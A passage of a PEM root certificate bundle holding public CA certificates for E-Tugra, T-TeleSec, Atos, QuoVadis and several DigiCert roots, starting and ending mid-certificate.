NTEyMDk0OFoXDTIzMDMwMzEyMDk0OFowgbIxCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmEx QDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhpem1ldGxl cmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBNZXJrZXppMSgwJgYDVQQD DB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEA4vU/kwVRHoViVF56C/UYB4Oufq9899SKa6VjQzm5S/fDxmSJPZQuVIBSOTkHS0vd hQd2h8y/L5VMzH2nPbxHD5hw+IyFHnSOkm0bQNGZDbt1bsipa5rAhDGvykPL6ys06I+XawGb1Q5K CKpbknSFQ9OArqGIW66z6l7LFpp3RMih9lRozt6Plyu6W0ACDGQXwLWTzeHxE2bODHnv0ZEoq1+g ElIwcxmOj+GMB6LDu0rw6h8VqO4lzKRG+Bsi77MOQ7osJLjFLFzUHPhdZL3Dk14opz8n8Y4e0ypQ BaNV2cvnOVPAmJ6MVGKLJrD3fY185MaeZkJVgkfnsliNZvcHfC425lAcP9tDJMW/hkd5s3kc91r0 E+xs+D/iWR+V7kI+ua2oMoVJl0b+SzGPWsutdEcf6ZG33ygEIqDUD13ieU/qbIWGvaimzuT6w+Gz rt48Ue7LE3wBf4QOXVGUnhMMti6lTPk5cDZvlsouDERVxcr6XQKj39ZkjFqzAQqptQpHF//vkUAq jqFGOjGY5RH8zLtJVor8udBhmm9lbObDyz51Sf6Pp+KJxWfXnUYTTjF2OySznhFlhqt/7x3U+Lzn rFpct1pHXFXOVbQicVtbC/DP3KBhZOqp12gKY6fgDT+gr9Oq0n7vUaDmUStVkhUXU8u3Zg5mTPj5 dUyQ5xJwx0UCAwEAAaNjMGEwHQYDVR0OBBYEFC7j27JJ0JxUeVz6Jyr+zE7S6E5UMA8GA1UdEwEB /wQFMAMBAf8wHwYDVR0jBBgwFoAULuPbsknQnFR5XPonKv7MTtLoTlQwDgYDVR0PAQH/BAQDAgEG MA0GCSqGSIb3DQEBCwUAA4ICAQAFNzr0TbdF4kV1JI+2d1LoHNgQk2Xz8lkGpD4eKexd0dCrfOAK kEh47U6YA5n+KGCRHTAduGN8qOY1tfrTYXbm1gdLymmasoR6d5NFFxWfJNCYExL/u6Au/U5Mh/jO XKqYGwXgAEZKgoClM4so3O0409/lPun++1ndYYRP0lSWE2ETPo+Aab6TR7U1Q9Jauz1c77NCR807 VRMGsAnb/WP2OogKmW9+4c4bU2pEZiNRCHu8W1Ki/QY3OEBhj0qWuJA3+GbHeJAAFS6LrVE1Uweo a2iu+U48BybNCAVwzDk/dr2l02cmAYamU9JgO3xDf1WKvJUawSg5TB9D0pH0clmKuVb8P7Sd2nCc dlqMQ1DujjByTd//SffGqWfZbawCEeI6FiWnWAjLb1NBnEg4R2gz0dfHj9R0IdTDBZB6/86WiLEV KV0jq9BgoRJP3vQXzTLlyb/IQ639Lo7xr+L0mPoSHyDYwKcMhcWQ9DstliaxLL5Mq+ux0orJ23gT Dx4JnW2PAJ8C2sH6H3p6CcRK5ogql5+Ji/03X186zjhZhkuvcQu02PJwT58yE+Owp1fl2tpDy4Q0 8ijE6m30Ku/Ba3ba+367hTzSU8JNvnHhRdH9I2cNE3X7z2VnIp2usAnRCf8dNL/+I5c30jn6PQ0G C7TbO6Orb1wdtn7os4I07QZcJA== -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 2 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970 2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4 r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR 3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN 9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg== -----END CERTIFICATE----- Atos TrustedRoot 2011 ===================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4 MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr 54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+ DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320 HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9 61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G 3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed -----END CERTIFICATE----- QuoVadis Root CA 1 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6 Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV 7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX 9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3 GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP +V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh 3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6 O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0 FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV hMJKzRwuJIczYOXD -----END CERTIFICATE----- QuoVadis Root CA 2 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD 6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66 AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9 x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr O3jtZsSOeWmD3n+M -----END CERTIFICATE----- QuoVadis Root CA 3 G3 ===================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286 IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe 6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3 I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7 5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX 0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2 PpxxVJkES/1Y+Zj0 -----END CERTIFICATE----- DigiCert Assured ID Root G2 =========================== -----BEGIN CERTIFICATE----- MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH 35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv 0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo IhNzbM8m9Yop5w== -----END CERTIFICATE----- DigiCert Assured ID Root G3 =========================== -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy 1vUhZscv6pZjamVFkpUBtA== -----END CERTIFICATE----- DigiCert Global Root G2 ======================= -----BEGIN CERTIFICATE----- MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO 3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu 5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/ iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl MrY= -----END CERTIFICATE----- DigiCert Global Root G3 ======================= -----BEGIN CERTIFICATE----- MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y 3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34 VOKa5Vt8sycX -----END CERTIFICATE----- DigiCert Trusted Root G4 ======================== -----BEGIN CERTIFICATE----- MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1 MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6 MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7 f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8 oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD 